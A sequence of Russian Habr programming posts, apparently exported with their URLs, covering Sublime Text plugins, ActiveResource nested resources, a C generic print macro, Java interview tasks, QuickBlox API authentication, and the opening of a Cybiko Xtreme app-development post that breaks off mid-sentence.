[![](https://habrastorage.org/r/w1560/files/a0e/e26/959/a0ee26959ff64931ba10bc0bf4cb8265.png)](https://github.com/ggordan/GutterColor) [Colorcoder](https://github.com/vprimachenko/Sublime-Colorcoder) Разукрашивает все переменные, тем самым значительно упрощая ориентацию в коде. Особенно полезно для разработчиков с дислексией. [![](https://habrastorage.org/r/w780q1/files/c44/604/cc2/c44604cc2d6c410aacc5b4f9346aab6e.jpg)](https://github.com/vprimachenko/Sublime-Colorcoder) #### [PlainTasks](https://github.com/aziz/PlainTasks) Великолепный задачник! Все таски хранятся в файлах, поэтому их очень удобно сопоставлять с проектами. Возможность создавать проекты, указывать теги, выставлять даты. Грамотный интерфейс и шорткаты. [![](https://habrastorage.org/r/w1560/files/969/863/649/96986364992c4ac9aff07d6507e5c299.png)](https://github.com/aziz/PlainTasks) #### [MarkdownEditing](https://github.com/ttscoff/MarkdownEditing) Вероятно лучший плагин для работы с Markdown: подсветка, сокращения, автодополнение, цветовые схемы и др. Как альтернативно решение, можно попробовать [MarkdownPreview](https://github.com/revolunet/sublimetext-markdown-preview). [![](https://habrastorage.org/r/w1560/files/13e/ff6/f48/13eff6f4839a4dfcbd8a66800fb08812.png)](https://github.com/ttscoff/MarkdownEditing) #### Напоследок: * [Sublime SFTP](http://wbond.net/sublime_packages/sftp) * [CTags](https://github.com/SublimeText/CTags) — поддержка CTags в Sublime. * [SideBarEnhancement](https://github.com/titoBouzout/SideBarEnhancements) — множество дополнительных функций контекстного меню в сайдбаре. * [ActualVim](https://github.com/lunixbochs/actualvim) — Vim в Sublime — два любимых редактора в одном. * [SublimeLinter](http://github.com/SublimeLinter/SublimeLinter) — поддержка линта для множества языков: C/C++, Java, Python, PHP, JS, HTML, CSS и др. * [CSScomb](https://github.com/csscomb/sublime-csscomb) — комбинирует CSS свойства в определенном порядке. * [FixMyJS](https://github.com/jshint/fixmyjs), [Jsfmt](https://github.com/paulirish/sublime-jsfmt) и [JsFormat](https://github.com/jdc0589/JsFormat) — плагины для форматирования JS/JSON-кода. * [AStyleFormatter](https://github.com/timonwong/SublimeAStyleFormatter) — форматирует C/C++/C#/Java код. * [SVG-Snippets](https://github.com/jorgeatgu/SVG-Snippets) — большая коллекция полезных шаблонов при работы с SVG. * [Inc-Dec-Value](https://github.com/rmaksim/Sublime-Text-2-Inc-Dec-Value) — позволяет изменять числа, даты, HEX цвета с помощью стрелок на клавиатуре, подобно инспектору в браузере. * [Trailing Spaces](https://github.com/SublimeText/TrailingSpaces) — подсвечивает удаляет все случайные пробелы в конце строк при сохранении файла. * [Alignment](http://wbond.net/sublime_packages/alignment) — функциональное выравнивание фрагментов кода от автора Package Control. * [Placeholders](https://github.com/mrmartineau/Placeholders) — коллекция шаблонов с параграфами, изображениями, списками, таблицами и тд. * [ApplySyntax](https://github.com/facelessuser/ApplySyntax) — налету определяет синтаксис в текущем файле. * [StylToken](https://github.com/vcharnahrebel/style-token) — подсветка определенных фрагментов текста, как в Notepad++. * [EasyMotion](https://github.com/tednaleid/sublime-EasyMotion) — удобный переход к определенному символу с помощью клавиатуры. * [ZenTabs](https://github.com/travmik/ZenTabs) и [Advanced​New​File](https://github.com/skuroda/Sublime-AdvancedNewFile) — усовершенствуют стандартное отображение вкладок и создание файлов. * [EncodingHelper](https://github.com/SublimeText/EncodingHelper) — отображает кодировку файлов в строке статуса и оповещает о соответствующих ошибках. * [Gist](https://github.com/condemil/Gist) — синхронизирует GitHub Gist с Sublime (ST2). * [Clipboard History (ST2)](https://github.com/kemayo/sublime-text-2-clipboard-history) — плагин ведет историю буфера обмена, что позволяет вставить не только последний скопированный фрагмент кода, но и любой из предыдущих. * **Темы и цветовые схемы:** + [Soda](http://buymeasoda.github.io/soda-theme/) + [Spacegray](http://kkga.github.io/spacegray/) + [Flatland](https://github.com/thinkpixellab/flatland) + [Tomorrow](https://github.com/chriskempson/tomorrow-theme) + [Base 16](https://github.com/chriskempson/base16) + [Solarized](http://ethanschoonover.com/solarized) + [Predawn](https://github.com/jamiewilson/predawn) + [itg.flat](https://sublime.wbond.net/packages/Theme%20-%20itg.flat) + Для всех других предпочтений есть [Color Schemes](https://github.com/daylerees/colour-schemes) и [Сolorsublime](http://colorsublime.com/). *\* В некоторых репозиториях указано, что плагин написан под ST2, но я все проверял и многое использую сам под ST3.* *\* Я не стал описывать ряд плагинов, которые выполняют действия по форматированию, компиляции, оптимизации, ибо искренне убежден, что это задачи для Grunt, Gulp, Prepros или CodeKit.*
https://habr.com/ru/post/235901/
null
ru
null
# ActiveResource, prefix и вложенные ресурсы Предыстория ----------- Я программист с очень небольшим стажем (недавно накопилось около года в трудовой). Около полугода назад я начал работать с Ruby (вне Rails) и сразу же познакомился с Active Resource и Redmine. Это был очень интересный опыт, сейчас мне кажется, что Ruby — практически идеальный язык (именно язык, я не задаюсь вопросом потребления памяти и скорости работы). Однако в нем весьма много магии, которую бывает сложно понять, когда читаешь исходный код сколько-нибудь крупных проектов (ActiveResource я отношу к ним, хотя по сравнению с rails, частью которого он является, этот гем кажется каплей в море). Проблема -------- Проект заключался в создании консольной утилиты (Thor-based), работающей с Redmine REST API и предоставляющей всякие ништяки (кстати, вдохновленный проектом, я в данный момент работаю над подобной утилитой, частично дублирующей функционал: <https://github.com/Nondv/redmine_cli>). Если посмотреть на документацию по Versions или Issue Relations (<http://www.redmine.org/projects/redmine/wiki/Rest_IssueRelations>), то можно обратить внимание, что для получения списка отношений используется адрес вида `issues//relations.xml`, а для конкретного объекта — `relations/.xml`. Собственно, для того, чтобы получить список, мы находим решение в виде использования `prefix`: ``` class Relation < ActiveResource::Base self.user = 'yet another apikey' self.password = 'we dont need password when using redmine apikey' self.site = 'www.yet-another-redmine.com' # Вот и он! self.prefix = '/issues/:issue_id/' end Relation.all params: { issue_id: 1 } ``` Все, вроде, шикарно и работает. Но что если нам нужно получить (ну или удалить) отдельный объект? `Relation.find(id)` выдает исключение `ActiveResource::MissingPrefixParam: project_id prefix_option is missing`, что вполне разумно, мы ведь указали, что должны обращаться по адресу с префиксом. Решение ------- Redmine REST не предусмотрел возможность получить отдельный объект во вложенных ресурсах. Лично я, проработв чуть больше пары недель с руби, и замучив гугл вопросами, смог родить решение, в котором для получения списка использовался анонимный класс. Сейчас не смогу воспроизвести, но навскидку примерно так: ``` class Issue < ActiveResource::Base self.user = 'yet another apikey' self.password = 'we dont need password when using redmine apikey' self.site = 'http://www.yet-another-redmine.com' # кстати, в случае с relations, их можно получить с помощью параметра include, # но тогда по незапомненным мною причинам пришлось изворачиваться def relations tmp_class = Class.new(ActiveResource::Base) do ... self.site = "http://www.yet-another-redmine.com/issues/#{id}/" self.element_name = 'relation' end tm_class.all end end ``` Вы уже чувствуете этот странный запах, верно? В общем, решение работало и в общем-то было принято, т.к. альтернатив я не смог предложить. В личном проекте (ссылка выше) я получил возможность исправить это недоразумение (надеюсь, в лучшую сторону). Решение заключается в переопределении метода `ActiveResource::Base.element_path`. На примере Version: ``` class Version < ActiveResource::Base ... self.prefix = '/projects/:project_id/' # # Собственно, код был скопирован прямо из источника: # https://github.com/rails/activeresource/blob/master/lib/active_resource/base.rb#L760 # и немного отредактирован # # Praise Open Source! # def self.element_path(id, _prefix_options = {}, query_options = nil) "/versions/#{URI.parser.escape id.to_s}#{format_extension}#{query_string(query_options)}" end end class Project < ActiveResource::Base ... def versions Version.all params: { project_id: id } end end ``` Заключение ---------- Собственно, к чему все это? Думаю, люди, которые разбираются в ActiveResource скажут, что это очевидное решение. Суть в том, что я, будучи только погруженным во все это, столкнулся с проблемой и не смог ее решить, даже с помощью Всезнающего. В чем была моя ошибка? В том, что я побоялся немного разобраться в исходном коде и не захотел штудировать документацию (<http://www.rubydoc.info> просто находка!), в которой даже посмотрев summary можно было подобрать что-нибудь для решения задачи без привлечения нано-ядерно-магическо-костыльных технологий. Надеюсь, что если кто-то окажется в моем положении, то он не станет повторять моих ошибок. Буквально неделю назад видел утверждение, что Ларри Уолл считает лень одним из главных достоинств программиста. Не уверен, как было написано в оригинале кэмел-бука (а это именно оттуда, полагаю), но в переводе он использовал слово "добродетель", а не "достоинство". Каким ленивым бы я ни был, это не сделает меня хорошим программистом. Лень далеко не всегда помогает находить решение. P.S. кажется, пост, подоходящий под формат личного мини-блога, слишком сильно растолстел в процессе написания.
https://habr.com/ru/post/279727/
null
ru
null
# Умный print для C Пример использования: ``` #include "print.h" int main() { print("number:", 25, "fractional number:", 1.2345, "expression:", (2.0 + 5) / 3 ); } ``` ``` number: 25 fractional number: 1.2345 expression: 2.33333 ``` Дженерик вызов не только проще набирать, чем стандартный `printf()`, но и больше не будет предупреждений компилятора, о том, что символ формата после "`%"` неверного типа. Дженерик `print`, может выводить все основные типы языка Си, целые, со знаком и без, с плавающей точкой и указатели: ``` char *s = "abc"; void *p = main; long l = 1234567890123456789; unsigned char byte = 222; char ch = 'A'; print("string:", s, "pointer:", p, "long:", l); print(byte, ch) ``` ``` string: "abc" pointer: 0x402330 long: 1234567890123456789 222<0xDE> 'A'65 ``` Разные типы отображаются разным цветом, палитру можно настроить, либо вообще отключить цвет. Можно даже печатать массивы: ``` int x[] = { 1, 2, 3 }; char *args[] = { "gcc", "hello.c", "-o", "hello" }; print(x, args); ``` ``` [1 2 3] ["gcc" "hello.c" "-o" "hello"] ``` Как это работает? На самом деле print это макрос, точнее говоря variadic macro, который генерирует вызов настоящей функции. Первый параметр, который макрос конструирует для этой функции, это количество аргументов, введённых пользователем. Для этого используется известный трюк: ``` void __print_func(int count, ...); #define count_arg(q,w,e,r,t,y,...) y #define print(a...) __print_func(count_arg(a,5,4,3,2,1,0), a); ``` Элегантностью такое решение не блещет, спасибо ограничениям препроцессора, как видите, максимальное количество аргументов в этом примере `6`, (в моей библиотеке сейчас `26` ). Второй параметр spread operator `...` , это сам список всех аргументов. В функции \_\_print\_func`()`используется обычный `stdarg.h` для обхода этого списка: ``` void prn(int count, ...) { va_list v; va_start(v, types); for (int i = 0; i < count; i++) { ... printf("%'li", va_arg(v, unsigned long)); ... } va_end(v); } ``` Теперь, сложный вопрос: как узнать типы? Ведь `va_arg`не волшебник, мы ему должны указать тип для каждого аргумента. В примере выше -- это `unsigned long`, но, что на самом деле пользователь передаст, мы ещё не знаем. Большинство компиляторов Си понимает такую вещь: ``` int x; int y = __builtin_types_compatible_p(typeof(x), int); ``` Это конструкция времени компиляции, принимает типы, а возвращает булевое значение, в данном примере `y` будет равен `1` или `true` потому что `int == int`. Ещё, есть такой вызов, как `__builtin_choose_expr(a, b, с).` Это аналог `a ? b : c` времени компиляции, с помощью этих расширений компилятора можно написать, что-то наподобие свитча, который возвращает тип переменной в виде числа, `3` для `int`, `2` для `double` и т.д.: ``` #define __get_type(x) \ __builtin_choose_expr(__builtin_types_compatible_p(typeof(x), double), 1, \ __builtin_choose_expr(__builtin_types_compatible_p(typeof(x), char), 2, \ __builtin_choose_expr(__builtin_types_compatible_p(typeof(x), int), 3, \ __builtin_choose_expr(__builtin_types_compatible_p(typeof(x), void*), 4, \ ....... и так далее ``` Далее, применяя стандартные трюки с variadic macro, то есть, пишем `__get_type()`, много или, точнее, `count` раз через запятую, создаём массив `char types[],` и подставляем его вторым параметром в вызов функции печати, её заголовок станет таким: ``` void __print_func (int count, char types[], ...) { ``` Теперь мы можем смело брать аргументы с помощью `va_arg,` подглядывая их типы из массива: ``` for (int i = 0; i < count; i++) { if (types[i] == 'd') { double d = va_arg(v, double); printf("%'G", d); } else if (types[i] == 'i') { int d = va_arg(v, int); printf("%'i", d); } ... } ``` На самом деле, чтобы печатать массивы, надо ещё передавать `sizeof()`, что выглядит, примерно, так: ``` (short[])(sizeof(a), sizeof(b), sizeof(c),.........) ``` Для экономии тип и размер упаковываются в `unsigned short`: `__get_type(x) + sizeof(x) << 5`. Вся работа препроцессора и *builtins* компилируется очень эффективно, вот такой вызов: ``` print(42, 42); ``` Компилируется `gcc -O1`в такой код: ``` xor eax, eax mov ecx, 42 mov edx, 42 lea rsi, [rsp+12] mov edi, 2 mov DWORD PTR [rsp+12], 0x00840084 call __print_func ``` Описанные выше расширения поддерживают компиляторы GCC `5.1+`, Clang`3.4.+1`, Intel C `17.0.0+`, и TinyC. На MSVC их нет, возможно, есть похожие, но мне не удалось найти соответствующей информации. Вот как рисуется цвет: ``` void __print_color(int a) { if (!__print_enable_color) return; if (a == -1) printf("\x1b(B\x1b[m"); else printf("\x1b[38;5;%im", a); } ``` Поменяв значение глобальной переменной `__print_enable_color` на `0`можно отключить цветной вывод. А функция `__print_setup_colors()` позволяет задать палитру: ``` void __print_setup_colors(int normal, int number, int string, int hex, int fractional) { ``` Надо будет ещё добавить автоматическое отключение цвета если `stdout` не консоль, а файл или pipe. Есть `fprint(fd...)` для работы с `stderr` и любыми дескрипторами. Возможно, у вас вопрос, почему не `_Generic`, а `__builtin_types_compatible_p`? Дело в том, что `_Generic` не отличает массивы от указателей, например `int*` для него то же самое, что и `int[]`поэтому с `_Generic` выводить массивы бы не получилось. → [Ссылка на github](https://github.com/exebook/generic-print)
https://habr.com/ru/post/544038/
null
ru
null
# Пять задач, которые приходится решать при трудоустройстве начинающим Java-разработчикам в 2022 году Хабр, привет! Меня зовут Даниил Пилипенко, я программный директор [факультета backend-разработки](https://skillbox.ru/faculty/backend-development/) направления «Программирование» Skillbox, директор центра подбора IT-специалистов SymbioWay. Сегодня разберём практические задачи, с которыми могут столкнуться Java-разработчики junior-уровня на собеседовании. Такого рода задачи мы часто видим на собеседованиях наших клиентов и коллег, а также сами даём соискателям. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/a34/813/730/a3481373075ce565f0a31c080e29727a.jpeg)### Чего хочет работодатель В процессе подбора кандидатов работодатель хочет понять, насколько ему подходит тот или иной соискатель — насколько он комфортен в общении и работе, обладает необходимым опытом и, что самое важное, техническими навыками для предстоящей работы. Ранее я рассказывал о [пяти навыках](https://habr.com/ru/company/skillbox/blog/679584/), которые часто проверяются при приёме на работу у начинающих Java-разработчиков. А в этой статье я приведу примеры конкретных задач, которые могут давать на собеседованиях, и разберу, на что смотрит работодатель при их решении. ### Примеры задач **Задача 1.** **Написать код, выполняющий какую-то несложную задачу**. Здесь может быть, например, [классический FizzBuzz](http://geektimes.ru/post/111843/), задача на сжатие или переворачивание строки. Работодателю здесь важно понять, как соискатель владеет основами синтаксиса языка и может ли писать код сразу чисто. Удивительно, но многие кандидаты испытывают значительные сложности при выполнении задач такого рода. Одна из задач, которую мы даём соискателям: написать код, который выводит числа от 0 до 1000, которые делятся на 3, но не делятся на 5, и сумма цифр в которых меньше десяти. Задача часто вызывает совершенно немыслимые трудности у людей, утверждающих, что их уровень middle или даже senior. Вот несколько примеров решений такой задачи кандидатами на собеседованиях: ``` //Пример 1 public class TestClass { public static final int MAX_LIMIT = 1000; public static void main(String[] args) { for(int i = 0; i < MAX_LIMIT; i++) { boolean enabled = true; if (i % 3 != 0) { enabled = false; } if (i % 5 == 0) { enabled = false; } if (!testSum(i)) { enabled = false; } if (enabled == true) { System.out.println("Число: " + i); } } } public static boolean testSum(int in) { int res = 0; while (in > 0) { res += in % 10; in = in / 10; } return res < 10; } } ``` ``` //Пример 2 public class Test { public static void main(String[] args) { for (int i = 0; i<1000; i ++) { if ( i%3 == 0 && i%5!= 0) { } } } public int returnNumber( int i) { int t; if (i >0){ returnNumber(i/10); } } } ``` ``` //Пример 3 import java.util.List; import java.util.stream.Collectors; import java.util.stream.IntStream; public class TestTask { public static List getForNumber() { List list = IntStream.range(0, 1000).boxed() .filter(n -> n % 3 == 0 && n % 5 != 0) .collect(Collectors.toList()); return list; } public static int sumOfNubers(List list) { for (Integer n : list) { int summ; while(n>1) { summ += n % 10; n /= 10; } } return 0; } } ``` Напишите нам в комментариях, как вы оцениваете каждое из этих решений и почему. Какое из них считаете лучшим, а какое худшим. Сразу отмечу, что решение, которое мы в SymbioWay считаем идеальным, здесь не приводим. Можете также попробовать написать его в комментариях. С помощью задач такого типа мы проверяем уровень соискателя: как много он писал код сам, а также косвенно — сталкивался ли с «грязным» кодом и рефакторил ли его. По такому заданию можно косвенно увидеть, как быстро и «чисто» (понятно и поддерживаемо) специалист будет писать собственный код. **Задача 2.** Создать веб-приложение на фреймворке Spring, которое будет соответствовать определённой спецификации. Спецификация может быть дана в текстовом виде или в виде отдельного Swagger-файла. Например, реализовать backend для анонимного онлайн-чата со следующей спецификацией: * GET /init — запрос инициализации, который по ID сессии отвечает, авторизован ли текущий пользователь или нет. * Запрос без параметров * Формат ответа: ``` { "result": true } ``` * POST /auth — запрос, регистрирующий и авторизующий пользователя. Он добавляет пользователя в базу данных и привязывает к текущей сессии. * Формат запроса: * name — имя пользователя * sex — пол пользователя, M или F * Формат ответа: ``` { "result": true } ``` * GET /users — запрос, возвращающий список пользователей в чате в порядке от самого свежего, который зарегистрировался недавно, до самого старого. * Запрос без параметров * Формат ответа: ``` { "result": true, "data": [ { "id": 567, "name": "Alex Kurnikov", "male": "M" }, ... ] } ``` * GET /messages — запрос, возвращающий ленту сообщений чата от самого нового до самого старого с постраничной навигацией. * Формат запроса: * offset — сдвиг от самого последнего до самого раннего, от 0, по умолчанию равен 0 * limit — количество сообщений, которые нужно вывести, по умолчанию — 100 * Формат ответа: ``` { "result": true, "count": 100, "data": [ { "id": 46273, "time": "18:30 30.01.2022", "authorId": 567, "message": "Some HTML text, may me **tagged**" }, ... ] } ``` * POST /messages — запрос, создающий новое сообщение от имени текущего пользователя. Форматы запроса и ответа спроектируйте самостоятельно на ваше усмотрение на основе имеющейся документации. С помощью таких задач мы и работодатели проверяют сразу несколько навыков: * умение правильно проектировать и создавать веб-приложения на фреймворке Spring в соответствии с принятой структурой; * понимание принципов клиент-серверного взаимодействия (знание HTTP и стандарта REST); * умение работать с ORM-системой (обычно Hibernate) и базой данной, умение проектировать структуру этой базы; * умение писать код на Java и владение базовыми навыками при работе с этим языком программирования, в частности, знание ООП, умение работать со строками и коллекциями, лямбда-выражениями и Stream API, привычку их применять при необходимости. **Задача 3. Написать SQL-запрос.** Например, задача может быть такой. У вас есть две таблицы: employee — сотрудники компании * id * department\_id * work\_start\_date * name * salary department — отделы, в которых работают сотрудники * id * name * lead\_id — ID руководителя отдела Нужно написать такой SQL-запрос, который выведет всех сотрудников, работающих в компании с лета 2021 года, не привязанных к отделам и получающих зарплату меньше 100 000 рублей. Верным ответом на такую задачу будет запрос: ``` SELECT    e.id,    e.name FROM employee e LEFT JOIN department d ON d.id = e.department_id WHERE    e.work_start_date >= '2021-06-01' AND    e.salary < 100000 AND    d.id IS NULL ``` С помощью задач такого плана можно понять, насколько кандидат владеет языком запросов SQL, если это важно в данном проекте. Вместо задач на написание SQL-запросов, могут предложить написать код с использованием Hibernate. Конечно, владение SQL — фундаментальный навык, который никогда не будет лишним. Но в некоторых проектах предпочитают писать не на чистом SQL.  **Задача № 4. Решить заданную проблему устно.** Например, рассказать, как предотвращать взаимные блокировки (deadlock) в многопоточных приложениях, или объяснить, как код, работающий с коллекцией, сделать потокобезопасным. Здесь обычно требуется сначала рассказать о самой проблеме — в чём она состоит и почему её вообще следует решать, а затем объяснить, как именно это можно сделать. И чем понятнее будет ваш рассказ и чем логичнее будут ваши рассуждения, тем лучше. При этом не обязательно решать задачу до конца идеально. Того, что вы думаете в правильном направлении, будет вполне достаточно для засчитывания ответа как верного. Ведь в реальности невозможно знать и помнить всё, гораздо важнее умение находить решения, понимать, куда «копать», и ставить эксперименты. **Задача № 5. Задача или серия вопросов на понимание принципов и паттернов ООП.** Например, создать класс, объект которого может быть представлен только в единственном экземпляре (по сути, реализовать паттерн Singleton). Тут могут не только попросить в итоге написать код для многопоточного режима работы, но и объяснить, зачем вообще такое может быть нужно, или рассказать, почему Singleton не используется во фреймворке Spring и чем он там фактически заменяется.  Мы сами сталкиваемся с тем, что на вопросы вроде «для чего в Java используется ключевое слово final» или «может ли статический метод переопределяться при наследовании» отвечают менее 20% кандидатов, по резюме имеющих уровень middle или выше. ### Как интерпретируют результаты Вы, возможно, будете удивлены, но во время решения практических задач работодатель не всегда ждёт полного и чёткого ответа по каждой из них. Он рассчитывает скорее на правильный вектор рассуждения и понимание той или иной темы. Конечно, когда мы просим написать код, то кандидату лучше бы справиться с этой задачей. Так мы понимаем, что он действительно умеет писать код и делает это сразу чисто. Кроме того, здесь часто бывает важно ваше упорство: умение довести задачу до конца — важнейший навык, с которым у многих в наше время возникают проблемы. Третье, что также важно увидеть в кандидате, — это понимание базовых, фундаментальных концепций. Если вы не знаете, что такое HTTP, как делать простейшие SQL-запросы, для чего вообще нужна многопоточность и что такое потокобезопасность, вам, скорее всего, откажут. Когда мы подбираем специалистов уровня junior в нашу команду или кому-то из работодателей, мы проверяем три блока навыков: * Понимание базовых концепций (синтаксис, коллекции, чистота кода, ООП, создание приложений на Spring, HTTP, REST и SQL). * Умение быстро, самостоятельно и грамотно решать возникающие проблемы, в том числе находить нужную информацию. * Уровень обучаемости — скорость и качество запоминания и дальнейшего внедрения в свою работу best practices и рекомендаций, которые мы даём новичку. После приёма на работу начинающего специалиста важно не перегрузить его слишком сложными задачами. Если он хорошо выполняет свою работу и близок к тому, чтобы начать скучать, то постепенно ему доверяют всё более сложные и интересные проекты, которые обеспечивают дальнейший рост.
https://habr.com/ru/post/689226/
null
ru
null
# QuickBlox: Авторизация и аутентификация Привет Хабровцы! ![image](https://habrastorage.org/r/w1560/storage2/678/d65/49e/678d6549efdce008178c444bcc3b0587.png) Сегодня я расскажу о методах аутентификации в [**QuickBlox**](http://quickblox.com). А так же затрону авторизацию и её аспекты. Итак, любой запрос к API **QuickBlox** должен сопровождаться *token*. Любой кроме самого авторизационного запроса. В **QuickBlox** есть 4 возможных сущности авторизации: * приложение * пользователь * устройство * пользователь устройства Приложение — это сущность с правами ReadOnly. С токеном приложения мы, например, можем выполнять многие запросы информации, такие как запросы к Ratings или Location. Единственная операция записи, доступная с токеном приложения — создание пользователя. Эта сущность аутентифицируется со следующим набором данных: * Application id * Authorization key * Authorization secret Этот набор данных стандартный для аутентификации всех сущностей и может быть найден в настройках приложения: ![image](http://image.quickblox.com/09a8d8925fb752c577bb1d730b1e.injoit.png) Пользователь — это сущность, имеющая доступ ко всем видам операций с API, кроме пожалуй операций, связанных с устройством, таких как регистрация для получения Push сообщений. Пользователь аутентифицируется так же как и приложение, но в поля добавляется * user[login] * user[password] * user[owner\_id] Устройство — это сущность, мало чем отличающаяся от приложения. Прав на запись *нет* так же. Единственное отличие — появляется возможность отслеживать устройства, на которых установлено приложение. Сущность устройство к полям приложения добавляет * device[udid] * device[platform] Пользователь устройства — это основная сущность авторизации, которой доступны все возможные операции с API **QuickBlox**. Для аутентификации использует все предыдущие пункты. А теперь подробнее о генерации *token*. Ключ *token* генерируется в недрах **QuickBlox** в ответ на запрос аутентификации *POST* запросом по адресу <http://api.quickblox.com/session> со сдедующими полями: | | | --- | | Приложение | | application\_id | ID приложения | | auth\_key | Ключ приложения | | timestamp | Время в формате Unix эпохи, которое может отличаться от времени сервера на 1 час. | | nonce | Случайное число | | signature | Подпись | | Пользователь | | user[login] | Логин пользователя | | user[password] | Пароль пользователя | | user[owner\_id] | Владелец пользователя. С 30 мая 2012 это поле будет приниматься, но игнорироваться, т.е. его можно будет не указывать. | | Устройство | | device[platform] | Платформа устройства — ios, android или windows\_phone | | device[udid] | Уникальный идентификатор устройства | Пользователь приложения использует все описанные *POST*-поля. Подробнее о формировани *signature*. Подпись формируется шифрованием по механизму **HMAC-SHA1**. В качестве **тела** шифрования используется строка полей POST запроса в виде GET запроса, т.е. поля отделены *амперсадом*. Так же поля отсортированы по алфавиту. **Ключом** шифрования выступает **Authorization secret**, описанный ранее. Пример создания подписи на PHP: ``` $body="application_id=$app_id&auth_key=$auth_key&device[platform]=$device_platform&device[udid]=$device_udid&nonce=$nonce&timestamp=$timestamp&user[login]=$user_login&user[owner_id]=$owner_id&user[password]=$user_password"; $signature=hash_hmac('sha1',$body,$auth_secret); ``` Вот тут можно посмотреть удобнее: <http://pastebin.com/FhS5YEqR>. При создании сессии нам выдаётся информация о сессии. По умолчанию используется формат XML. Но, указав в коце URI ".json", ответ придёт в формате JSON. Вот пример запроса аутентификации пользователя: ``` curl -X POST -H "Content-Type: application/json" -d '{"application_id": "2", "auth_key": "DtF9cZPqTF8Wy9Q", "timestamp": "1333630580", "nonce": "1340569516", "signature": "13293a5bd2026b957ebbb36c89d9649aae9e5503", "user": {"login": "injoit", "password": "injoit", "owner_id": "4"}}' https://api.quickblox.com/auth.json ``` Вот пример ответа на запрос аутентификации пользователя: ``` { "session": { "application_id": 2, "created_at": "2012-04-03T07:41:12Z", "device_id": null, "id": 744, "nonce": 289239351, "token": "25b29b8c8d6f2d3afbf1d437cc611b23741fc7ee", "ts": 1333438822, "updated_at": "2012-04-03T07:41:13Z", "user_id": 3 } ``` Так же, например, мы можем проапгрейдить токен приложения, залогинив с ним пользователя: ``` curl -X POST -H "Content-Type: application/json" -d '{"login": "injoit", "password": "injoit", "owner_id": "4", "token": "cf5709d6013fdb7a6787fbeb8340afed8aec4c69"}' http://api.quickblox.com/login.json { "blob_id": null, "created_at": "2012-01-16T08:13:38Z", "custom_parameters": null, "email": null, "external_user_id": 111, "facebook_id": null, "full_name": null, "id": 3, "last_request_at": "2012-04-04T10:27:40Z", "login": "injoit", "owner_id": 4, "phone": null, "twitter_id": null, "updated_at": "2012-04-04T10:27:40Z", "website": null, "user_tags":"superman" } ``` После этого токен приложения уже станет токеном пользователя. Уничтожение сессии происходит либо прямым DELETE запросом по адресу [http://api.quickblox.com/auth\_exit](http://api.quickblox.com/session), либо через час неактивности система сама удалит токен. ``` curl -X DELETE "https://api.quickblox.com/auth_exit?token=422ce2791d7070b88a82f415b3693c81612e3423" ``` Основная документация этого раздела находится на страничке Developers: [Authentication and Authorization](http://quickblox.com/developers/Authentication_and_Authorization). **Замечание.** С недавних пор токен в параметрах запросов GET, PUT, POST и DELETE упразднён (deprecated), основным местом для указания токена стали заголовки запроса. ``` curl -X POST -H "QB-Token: cf5709d6013fdb7a6787fbeb8340afed8aec4c69" ``` Это важное обновление безопастности, поэтому все существующие SDK и сэмплы будут обновлены соответсвенно. По любым вопросам уточнения, взаимосотрудничества или просто использования [**QuickBlox**](http://quickblox.com) вы можете обращаться ко мне [korjik](http://habrahabr.ru/users/korjik/) и Тарасу [qbtarzan](http://habrahabr.ru/users/qbtarzan/) либо же по имейлу [andrey.kozhokaru@quickblox.com](mailto:andrey.kozhokaru@quickblox.com).
https://habr.com/ru/post/144038/
null
ru
null
# Разработка приложения для старого КПК (Cybiko Xtreme) в 2019 году ![](https://habrastorage.org/r/w780q1/webt/ph/mh/cb/phmhcbpdse1fki5efokzyl_fhq4.jpeg) ### Введение Привет Хабр! Я хотел бы поделиться своим опытом написания приложения для очень старого карманного компьютера, который серьезно опередил свое время, а именно Cybiko Xtreme 2001 года выпуска. Тем, кому интересно как жилось мобильному разработчику в начале 2000-х, добро пожаловать под кат. ### О Cybiko Xtreme Итак, данный девайс попал ко мне в далеком 2002 году и вызвал полный восторг. Оценить по достоинству коммуникационные возможности я не мог, поскольку в моем городе людей с такими КПК я больше не встречал, однако в целом возможность поиграть во множество игр без необходимости сидеть за компьютером, была просто фантастикой. Во многом же создатели устройства делали упор именно на сетевые возможности КПК. В качестве соединения устройств между собой разработчики выбрали радио меш сеть. Напрямую устройства соединялись между собой на расстоянии до 100 метров, однако можно было соединяться друг с другом через другое устройство, и в теории, при плотном покрытии сети, расстояние было неограниченно. В устройстве была возможность заполнить свой профиль (кажется даже прикрепить фотографию, хотя на дисплее в градациях серого толку от нее было бы немного), общаться с другими пользователями со схожими интересами, искать новые знакомства и т.д. Напоминает все это социальную сеть, хотя тогда такого термина, насколько я знаю, еще не существовало. Если бы устройств было достаточно много, думаю проект бы взлетел, однако, к сожалению, у создателей что-то пошло не так. Найдя этот КПК в своих старых вещах, мне захотелось поностальгировать. Играть в старые игры было не очень интересно (все-таки по сравнению с новыми они смотрятся не особо), а вот попробовать разработать приложение и почувствовать как жилось первым мобильным разработчикам, было куда интереснее. ### Идея приложения Поскольку я, по роду своей деятельности, связан с информационной безопасностью и эта тема мне крайне интересна, приложение я решил создавать в той же области. Наиболее простым (и хоть чем-то полезным?) мне показалось приложение «менеджер паролей». Данное приложение позволяет посмотреть как разработку графического пользовательского интерфейса, так и работу с файловой системой (хранение зашифрованного контейнера с паролями). В качестве криптографии для защиты контейнера я решил использовать так называемое [XOR-шифрование](http://kriptografea.narod.ru/XOR.html). В роли ключа выступает мастер-пароль. Криптостойкость данного шифрования сильно зависит от длины ключа, и использовать его в серьезных системах не рекомендуется, однако у данного шифрования есть один серьезный плюс – оно очень легко реализуется. Поскольку приложение создавалось исключительно в целях развлечения, такое шифрование подходит идеально. ### Эмулятор Подключение Cybiko Xtreme к современному компьютеру довольно сложный процесс, поэтому работу по тестовым запускам приложения я решил вести на эмуляторе (к счастью он есть). Внешний вид представлен на рисунке ниже ![](https://habrastorage.org/r/w1560/webt/la/7b/om/la7bomtis49fpnrhc_pu8wedd7c.png) Есть некоторые особенности по закачке приложений в эмулятор. По инструкции найденной [здесь](http://users.skynet.be/firefly/cybiko/) приложение можно отправить, используя кнопку «Send» в окне «Console», однако, как я ни пытался, сделать это у меня не получилось. На форуме Planet Cybiko (к сожалению, на данный момент форум закрыт) есть ссылка на инструмент, позволяющий делать собственные Cybiko ram-диски. Поэтому достаточно создать ram-диск со скомпилированным приложением и перезапустить эмулятор с ним. ### SDK Найти SDK на просторах интернета оказалось не очень сложно. Распаковав и проанализировав структуру каталогов, я в первую очередь обратил внимание на директорию doc, в которой оказался вполне годный help, объясняющий, как в принципе компилировать приложение, и какую структуру должен иметь проект. В директории 